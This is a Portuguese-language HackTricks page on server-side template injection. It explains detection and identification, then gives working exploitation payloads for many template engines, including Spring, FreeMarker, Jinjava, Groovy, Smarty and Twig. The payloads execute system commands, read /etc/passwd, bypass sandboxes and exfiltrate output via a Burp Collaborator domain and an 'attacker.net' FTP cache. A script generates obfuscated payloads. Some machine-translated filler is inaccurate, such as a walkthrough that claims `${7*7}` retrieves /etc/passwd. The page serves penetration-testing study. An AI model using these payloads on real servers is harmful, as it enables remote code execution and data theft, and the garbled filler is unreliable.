# SSTI (Server Side Template Injection) ## SSTI (Server Side Template Injection)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ### O que é a injeção de modelo no lado do servidor? Uma injeção de modelo no lado do servidor ocorre quando um invasor é capaz de usar a sintaxe nativa do modelo para injetar uma carga maliciosa em um modelo, que é então executado no lado do servidor. **Motores de modelo** são projetados para **gerar páginas da web** combinando **modelos fixos** com **dados voláteis**. Ataques de injeção de modelo no lado do servidor podem ocorrer quando a **entrada do usuário** é concatenada diretamente **em um modelo**, em vez de ser passada como dados. Isso permite que os invasores **injetem diretivas de modelo arbitrárias** para manipular o motor de modelo, muitas vezes permitindo que eles assumam **controle completo do servidor**. Um exemplo de código vulnerável pode ser visto no seguinte trecho: ```php $output = $twig->render("Dear " . $_GET['name']); ``` No exemplo anterior, **parte do template** em si está sendo **gerada dinamicamente** usando o parâmetro `GET` chamado `name`. Como a sintaxe do template é avaliada no servidor, isso potencialmente permite que um atacante insira uma carga útil de injeção de template no lado do servidor dentro do parâmetro `name`, da seguinte forma: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` ### Construindo um ataque de injeção de modelo no lado do servidor ![](../../.gitbook/assets/ssti-methodology-diagram.png) #### Detectar Assim como qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar **fuzzar o modelo** injetando uma sequência de caracteres especiais comumente usados em expressões de modelo, como o poliglota **`${{<%[%'"}}%\`.**\ Para verificar se o servidor é vulnerável, você deve **observar as diferenças** entre a resposta com **dados regulares** no parâmetro e a **carga útil fornecida**.\ Se um **erro for lançado**, será bastante fácil descobrir que **o servidor é vulnerável** e até mesmo qual **motor está sendo executado**. Mas você também pode encontrar um servidor vulnerável se estiver **esperando** que ele **reflita** a carga útil fornecida e ela **não estiver sendo refletida** ou se houver alguns **caracteres ausentes** na resposta. **Detectar - Contexto de texto simples** A entrada fornecida está sendo **renderizada e refletida** na resposta. Isso pode ser facilmente **confundido com uma vulnerabilidade** [**XSS**](../xss-cross-site-scripting/) simples, mas é fácil diferenciar se você tentar definir **operações matemáticas** dentro de uma expressão de modelo: ``` {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} *{7*7} ``` **Detectar - Contexto do código** Nesses casos, a **entrada do usuário** está sendo colocada **dentro** de uma **expressão de modelo**: ```python engine.render("Hello {{"+greeting+"}}", data) ``` O acesso à página pode ser feito através da URL: `http://vulnerable-website.com/?greeting=data.username` Se você **alterar** o parâmetro **`greeting`** para um **valor diferente**, a **resposta não conterá o nome de usuário**, mas se você acessar algo como: `http://vulnerable-website.com/?greeting=data.username}}hello`, **a resposta conterá o nome de usuário** (se os caracteres de fechamento da expressão do modelo forem **`}}`**).\ Se ocorrer um **erro** durante esses testes, será mais fácil identificar que o servidor é vulnerável. #### Identificar Depois de detectar o potencial de injeção de modelo, o próximo passo é identificar o mecanismo de modelo utilizado.\ Embora existam muitas linguagens de modelo, muitas delas usam uma sintaxe muito semelhante, escolhida especificamente para não entrar em conflito com os caracteres HTML. Se você tiver sorte, o servidor estará **imprimindo os erros** e você poderá encontrar o **mecanismo** utilizado **dentro** dos erros. Alguns payloads possíveis que podem causar erros: | `${}` | `{{}}` | `<%= %>` | | ----------- | ------------ | --------------- | | `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` | | `${foobar}` | `{{foobar}}` | `<%= foobar %>` | | `${7*7}` | `{{7*7}}` | \`\` | Caso contrário, você precisará testar manualmente diferentes payloads específicos da linguagem e estudar como eles são interpretados pelo mecanismo de modelo. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando a sintaxe de diferentes mecanismos de modelo. Em seguida, você pode observar se eles são avaliados com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte: ![](<../../.gitbook/assets/image (272).png>) #### Explorar A primeira etapa após encontrar a injeção de modelo e identificar o mecanismo de modelo é ler a documentação. As áreas-chave de interesse são: * Seções 'Para Autores de Modelo' que abordam a sintaxe básica. * 'Considerações de Segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis. * Listas de métodos, funções, filtros e variáveis ​​internas. * Listas de extensões/plugins - alguns podem estar habilitados por padrão. Assumindo que nenhum exploit tenha se apresentado, o próximo passo é **explorar o ambiente** para descobrir exatamente o que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo mecanismo de modelo, quanto **objetos específicos do aplicativo** passados para o modelo pelo desenvolvedor. Muitos sistemas de modelo expõem um objeto 'self' ou namespace contendo tudo no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto. Se não houver um objeto self incorporado, você terá que forçar nomes de variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de wordlists do Burp Intruder. Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes modelos dentro de um aplicativo, portanto, esse processo deve ser aplicado idealmente a cada modelo distinto individualmente. #### Ataque Neste ponto, você deve ter uma **ideia clara da superfície de ataque disponível** e ser capaz de prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto do aplicativo como um todo - algumas funções podem ser usadas para explorar recursos específicos do aplicativo. Os exemplos a seguir usarão a injeção de modelo para acionar a criação arbitrária de objetos, leitura/gravação arbitrária de arquivos, inclusão remota de arquivos, divulgação de informações e escalonamento de privilégios. ### Ferramentas #### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### Exploits #### Genérico Nesta **lista de palavras** você pode encontrar **variáveis definidas** nos ambientes de alguns dos motores mencionados abaixo: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) #### Java **Java - Injeção básica** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` **Java - Recuperar as variáveis de ambiente do sistema** Neste exemplo, vamos explorar como recuperar as variáveis de ambiente do sistema usando Java. Isso pode ser útil durante um teste de penetração para obter informações sobre o ambiente de execução do servidor. ```java import java.util.Map; public class EnvironmentVariables { public static void main(String[] args) { Map env = System.getenv(); for (String key : env.keySet()) { System.out.println(key + " = " + env.get(key)); } } } ``` O código acima usa a classe `System` do Java para acessar as variáveis de ambiente do sistema. A função `getenv()` retorna um mapa contendo todas as variáveis de ambiente e seus respectivos valores. Em seguida, percorremos o mapa e imprimimos cada chave e valor correspondente. Ao executar esse código, você verá a lista completa das variáveis de ambiente do sistema, incluindo informações sensíveis, como senhas e chaves de API. É importante ter cuidado ao lidar com essas informações e garantir que elas não sejam expostas indevidamente. ```java ${T(java.lang.System).getenv()} ``` **Java - Recuperar /etc/passwd** A injeção de modelo no lado do servidor (SSTI - Server-Side Template Injection) é uma vulnerabilidade que permite a um invasor executar código arbitrário no servidor. Neste exemplo, vamos explorar uma vulnerabilidade de SSTI em um aplicativo Java para recuperar o arquivo /etc/passwd. ### Pré-requisitos * Java Development Kit (JDK) instalado * Um ambiente de desenvolvimento Java, como o Eclipse ou o IntelliJ IDEA ### Passo a passo 1. Identifique a vulnerabilidade de SSTI no aplicativo Java. Isso pode ser feito por meio de análise de código ou testes de penetração. 2. Localize o ponto de injeção de modelo no código-fonte do aplicativo. Isso geralmente ocorre quando o aplicativo usa um mecanismo de modelo que permite a inserção de código dinâmico. 3. Crie um payload que execute o comando para recuperar o arquivo /etc/passwd. Por exemplo, em um mecanismo de modelo baseado em expressões, o payload pode ser algo como `${7*7}`. 4. Injete o payload no ponto de injeção de modelo no aplicativo. Isso pode ser feito por meio de entradas de usuário ou manipulação de solicitações. 5. Execute o aplicativo e observe a resposta. Se o payload for executado com sucesso, você verá o conteúdo do arquivo /etc/passwd na resposta. ### Medidas preventivas Para evitar vulnerabilidades de SSTI em aplicativos Java, siga estas práticas recomendadas: * Utilize mecanismos de modelo seguros que não permitam a execução de código arbitrário. * Valide e sanitize todas as entradas de usuário antes de usá-las em expressões de modelo. * Mantenha seu aplicativo Java atualizado com as últimas correções de segurança. Lembre-se de que a exploração de vulnerabilidades sem permissão é ilegal e deve ser realizada apenas em sistemas autorizados para fins de teste de penetração. ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` #### FreeMarker (Java) Você pode testar suas cargas úteis em [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legado)` * `${7*'7'} Nada` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Bypass de Sandbox** ⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Mais informações** * Na seção FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) #### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` **Mais informações** * Na seção Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) #### Thymeleaf (Java) A expressão de teste típica para SSTI é `${7*7}`. Essa expressão também funciona no Thymeleaf. Se você deseja obter execução de código remoto, pode usar uma das seguintes expressões de teste: * SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}` * OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}` No entanto, como mencionamos antes, as expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em uma localização diferente no modelo, o Thymeleaf suporta _inlining de expressão_. Para usar esse recurso, você deve colocar uma expressão dentro de `[[...]]` ou `[(...)]` (selecione um ou outro dependendo se você precisa escapar de símbolos especiais). Portanto, uma carga útil simples de detecção de SSTI para o Thymeleaf seria `[[${7*7}]]`. No entanto, as chances de que a carga útil de detecção acima funcione são muito baixas. As vulnerabilidades de SSTI geralmente ocorrem quando um modelo é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite a criação de modelos dinamicamente gerados e todos os modelos devem ser criados antecipadamente. Portanto, se um desenvolvedor quiser criar um modelo a partir de uma string _na hora_, eles precisariam criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente. Se olharmos mais a fundo na documentação do mecanismo de modelo do Thymeleaf, encontraremos um recurso interessante chamado _**pré-processamento de expressão**_. As expressões colocadas entre dois sublinhados duplos (`__...__`) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf: ```java #{selection.__${sel.code}__} ``` **Exemplo vulnerável** ```markup http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Mais informações** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} #### Framework Spring (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Burlar filtros** Múltiplas expressões de variáveis podem ser usadas, se `${...}` não funcionar, tente `#{...}`, `*{...}`, `@{...}` ou `~{...}`. * Ler `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * Script personalizado para geração de payload ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Mais Informações** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) #### Manipulação de Visualização do Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} #### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Versão antiga do Pebble ( < versão 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nova versão do Pebble: ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` #### Jinjava (Java) O Jinjava é um mecanismo de modelo de servidor-side escrito em Java. Ele é usado para renderizar modelos de texto com base em expressões e lógica condicional. O Jinjava suporta a injeção de modelo do lado do servidor (SSTI), que é uma vulnerabilidade que permite a execução de código arbitrário no servidor. **Como funciona a injeção de modelo do lado do servidor (SSTI)** A injeção de modelo do lado do servidor ocorre quando um aplicativo web permite que os usuários insiram código de modelo em campos de entrada, que são posteriormente renderizados pelo servidor. Se o servidor não validar ou escapar corretamente esses campos de entrada, um atacante pode inserir código malicioso que será executado pelo servidor. **Explorando a injeção de modelo do lado do servidor (SSTI) com Jinjava** Para explorar a injeção de modelo do lado do servidor usando o Jinjava, você precisa encontrar um campo de entrada que seja renderizado pelo servidor sem validação ou escape adequados. Em seguida, você pode inserir código de modelo malicioso para executar comandos no servidor. **Prevenção da injeção de modelo do lado do servidor (SSTI)** Para prevenir a injeção de modelo do lado do servidor, é importante validar e escapar corretamente todos os campos de entrada que são renderizados pelo servidor. Além disso, é recomendável usar uma biblioteca de modelo segura que tenha recursos de segurança embutidos para evitar a execução de código malicioso. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Execução de Comandos** Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) #### Hubspot - HuBL (Java) * Delimitadores de declaração `{% %}` * Delimitadores de expressão `{{ }}` * Delimitadores de comentário `{# #}` * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Mais informações** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) #### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados). O EL é usado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Contextos e Dependências para Java EE (CDI).\ Verifique a seguinte página para aprender mais sobre a **exploração de interpretadores EL**: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} #### Groovy (Java) Este desvio do Security Manager foi retirado deste [**artigo**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ### #### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Mais informações** * Na seção Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) #### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Erro` * `{{foobar}} Nada` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} ``` **Twig - Formato de Template** Twig é um mecanismo de template popular usado em várias linguagens de programação, incluindo PHP. Ele fornece uma sintaxe simples e poderosa para criar templates dinâmicos. Neste guia, exploraremos a injeção de template do lado do servidor (SSTI) usando o Twig. ### O que é a injeção de template do lado do servidor (SSTI)? A injeção de template do lado do servidor (SSTI) é uma vulnerabilidade que ocorre quando um aplicativo web permite que um usuário insira código de template que é executado no servidor. Isso pode levar a ataques de execução remota de código (RCE), permitindo que um invasor execute comandos arbitrários no servidor. ### Como funciona a injeção de template do lado do servidor (SSTI) com o Twig? A injeção de template do lado do servidor (SSTI) com o Twig ocorre quando um aplicativo web usa o Twig para renderizar templates e permite que os usuários insiram código de template arbitrário. Isso geralmente acontece quando o aplicativo não valida ou filtra adequadamente as entradas do usuário antes de passá-las para o mecanismo de template. Um exemplo comum de injeção de template do lado do servidor (SSTI) com o Twig é quando um aplicativo permite que os usuários insiram um nome de template que é usado para carregar e renderizar um arquivo de template. Se o aplicativo não validar ou filtrar corretamente o nome do template, um invasor pode inserir um nome de template malicioso que contém código de template malicioso. Esse código será executado no servidor, permitindo que o invasor execute comandos arbitrários. ### Como explorar a injeção de template do lado do servidor (SSTI) com o Twig? Para explorar a injeção de template do lado do servidor (SSTI) com o Twig, você precisa identificar pontos de entrada onde o código de template é inserido no aplicativo. Isso pode ser feito examinando o código-fonte do aplicativo ou usando ferramentas de análise de segurança. Depois de identificar os pontos de entrada, você pode tentar inserir código de template malicioso para explorar a vulnerabilidade. Isso pode incluir a execução de comandos do sistema, acesso a arquivos sensíveis ou até mesmo a execução de código remoto. ### Como prevenir a injeção de template do lado do servidor (SSTI) com o Twig? Para prevenir a injeção de template do lado do servidor (SSTI) com o Twig, é importante seguir as práticas recomendadas de segurança, como: * Validar e filtrar adequadamente todas as entradas do usuário antes de passá-las para o mecanismo de template. * Usar um conjunto restrito de variáveis e funções disponíveis no contexto do template. * Limitar as permissões do usuário no servidor para minimizar o impacto de uma possível exploração. Além disso, manter o Twig atualizado com as versões mais recentes também é importante, pois as atualizações podem corrigir vulnerabilidades conhecidas. ### Conclusão A injeção de template do lado do servidor (SSTI) com o Twig é uma vulnerabilidade séria que pode levar a ataques de execução remota de código (RCE). É importante entender como essa vulnerabilidade funciona e como preveni-la para garantir a segurança de seus aplicativos web. ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Mais informações** * Na seção Twig e Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) #### Plates (PHP) Plates é inspirado no Twig, mas é um mecanismo de template PHP 